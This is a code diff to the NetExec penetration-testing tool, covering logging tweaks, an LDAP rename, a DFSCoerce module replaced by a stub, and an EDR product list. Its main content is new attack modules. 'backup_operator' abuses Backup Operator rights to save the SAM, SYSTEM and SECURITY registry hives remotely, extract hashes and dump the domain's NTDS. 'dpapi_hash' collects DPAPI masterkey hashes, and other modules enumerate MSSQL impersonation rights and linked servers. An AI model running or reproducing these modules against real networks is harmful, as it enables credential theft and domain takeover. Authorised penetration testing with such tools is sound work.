|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
caller_frame = inspect.currentframe().f_back.f_back.f_back
|
||||
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
output_file = self.init_log_file() if log_file is None else log_file
|
||||
file_creation = False
|
||||
|
||||
@@ -179,7 +182,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
@@ -193,27 +196,14 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
os.makedirs(newpath, exist_ok=True)
|
||||
return os.path.join(
|
||||
os.path.expanduser("~/.nxc"),
|
||||
NXC_PATH,
|
||||
"logs",
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
|
||||
super().__init__(fmt, datefmt, style, validate)
|
||||
|
||||
def format(self, record): # noqa: A003
|
||||
escape_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||
record.msg = re.sub(escape_re, "", str(record.msg))
|
||||
return super().format(record)
|
||||
|
||||
|
||||
# initialize the logger for all of nxc - this is imported everywhere
|
||||
|
||||
+3
-3
@@ -49,10 +49,10 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
sc = ldap.SimplePagedResultsControl()
|
||||
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
|
||||
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
|
||||
|
||||
if self.server is None:
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=[],
|
||||
sizeLimit=0,
|
||||
@@ -61,7 +61,7 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
else:
|
||||
connection.ldapConnection.search(
|
||||
connection.ldap_connection.search(
|
||||
searchFilter=search_filter + base_dn_root + ")",
|
||||
attributes=["certificateTemplates"],
|
||||
sizeLimit=0,
|
||||
|
||||
@@ -102,8 +102,9 @@ class NXCModule:
|
||||
None
|
||||
"""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
import time
|
||||
import os
|
||||
import datetime
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
self.trigger_winreg(connection.conn, context)
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
try:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved {hive} to {outputFileName}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(str(e))
|
||||
finally:
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.domain_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
if self.domain_admin:
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
try:
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {hive} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
|
||||
def trigger_winreg(self, connection, context):
|
||||
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
|
||||
# Basically triggers the RemoteRegistry to start without admin privs
|
||||
tid = connection.connectTree("IPC$")
|
||||
try:
|
||||
connection.openFile(
|
||||
tid,
|
||||
r"\winreg",
|
||||
0x12019F,
|
||||
creationOption=0x40,
|
||||
fileAttributes=0x80,
|
||||
)
|
||||
except SessionError as e:
|
||||
# STATUS_PIPE_NOT_AVAILABLE error is expected
|
||||
context.log.debug(str(e))
|
||||
# Give remote registry time to start
|
||||
time.sleep(1)
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
key_name.split("\\")[0]
|
||||
sub_key = "\\".join(key_name.split("\\")[1:])
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
h_root_key = ans["phKey"]
|
||||
return h_root_key, sub_key
|
||||
@@ -0,0 +1,131 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
File diff suppressed because it is too large.
Load diff
@@ -274,8 +274,8 @@ class NXCModule:
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
self.ldap_session = connection.ldapConnection
|
||||
self.baseDN = connection.ldap_connection._baseDN
|
||||
self.ldap_session = connection.ldap_connection
|
||||
|
||||
# Searching for the principal SID
|
||||
if self.principal_sAMAccountName is not None:
|
||||
@@ -373,7 +373,7 @@ class NXCModule:
|
||||
if self.target_DN is not None:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchBase=_lookedup_principal,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
|
||||
+2
-125
@@ -1,15 +1,6 @@
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -26,118 +17,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth()
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host,
|
||||
doKerberos=connection.kerberos,
|
||||
kdcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to DFSCoerce")
|
||||
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
|
||||
dce.disconnect()
|
||||
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to DFSCoerce")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class NetrDfsRemoveStdRoot(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsRemoveStdRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class NetrDfsAddRoot(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("Comment", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsAddRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
rpctransport.setRemoteHost(target)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
nxc_logger.debug("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def NetrDfsRemoveStdRoot(self, dce, listener):
|
||||
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
|
||||
try:
|
||||
request = NetrDfsRemoveStdRoot()
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
nxc_logger.debug(request.dump())
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
nxc_logger.debug(e)
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -0,0 +1,63 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""OUTPUTFILE Output file to write hashes"""
|
||||
self.outputfile = None
|
||||
if "OUTPUTFILE" in module_options:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
masterkeys_triage.triage_masterkeys()
|
||||
if self.outputfile is not None:
|
||||
with open(self.outputfile, "a+") as fd:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
fd.write(f"{mkhash}\n")
|
||||
else:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
+22
-4
@@ -84,10 +84,7 @@ class NXCModule:
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
context.log.fail(str(e))
|
||||
|
||||
def dump_results(self, results, context):
|
||||
if not results:
|
||||
@@ -358,6 +355,27 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
|
||||
{"name": "mfemactl", "description": "Trellix Management Service"},
|
||||
{"name": "mfemms", "description": "McAfee Management Service"},
|
||||
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
|
||||
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
|
||||
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
|
||||
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
|
||||
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server users with impersonation rights
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "enum_impersonate"
|
||||
description = "Enumerate users with impersonation privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
impersonate_users = self.get_impersonate_users()
|
||||
if impersonate_users:
|
||||
self.context.log.success("Users with impersonation rights:")
|
||||
for user in impersonate_users:
|
||||
self.context.log.display(f" - {user}")
|
||||
else:
|
||||
self.context.log.fail("No users with impersonation rights found.")
|
||||
|
||||
def get_impersonate_users(self) -> list:
|
||||
"""
|
||||
Fetches a list of users with impersonation rights.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of user names.
|
||||
"""
|
||||
query = """
|
||||
SELECT DISTINCT b.name
|
||||
FROM sys.server_permissions a
|
||||
INNER JOIN sys.server_principals b
|
||||
ON a.grantor_principal_id = b.principal_id
|
||||
WHERE a.permission_name LIKE 'IMPERSONATE%'
|
||||
"""
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [user["name"] for user in res] if res else []
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -0,0 +1,53 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server linked servers
|
||||
Module by deathflamingo, NeffIsBack
|
||||
"""
|
||||
|
||||
name = "enum_links"
|
||||
description = "Enumerate linked SQL Servers and their login configurations."
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
linked_servers = self.get_linked_servers()
|
||||
if linked_servers:
|
||||
self.context.log.success("Linked servers found:")
|
||||
for server in linked_servers:
|
||||
self.context.log.display(f" - {server}")
|
||||
else:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
self.context.log.success("Linked servers found:")
|
||||
for srv in srvs:
|
||||
self.context.log.display(f"Linked server: {srv['Linked Server']}")
|
||||
self.context.log.display(f" - Local login: {srv['Local Login']}")
|
||||
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
|
||||
|
||||
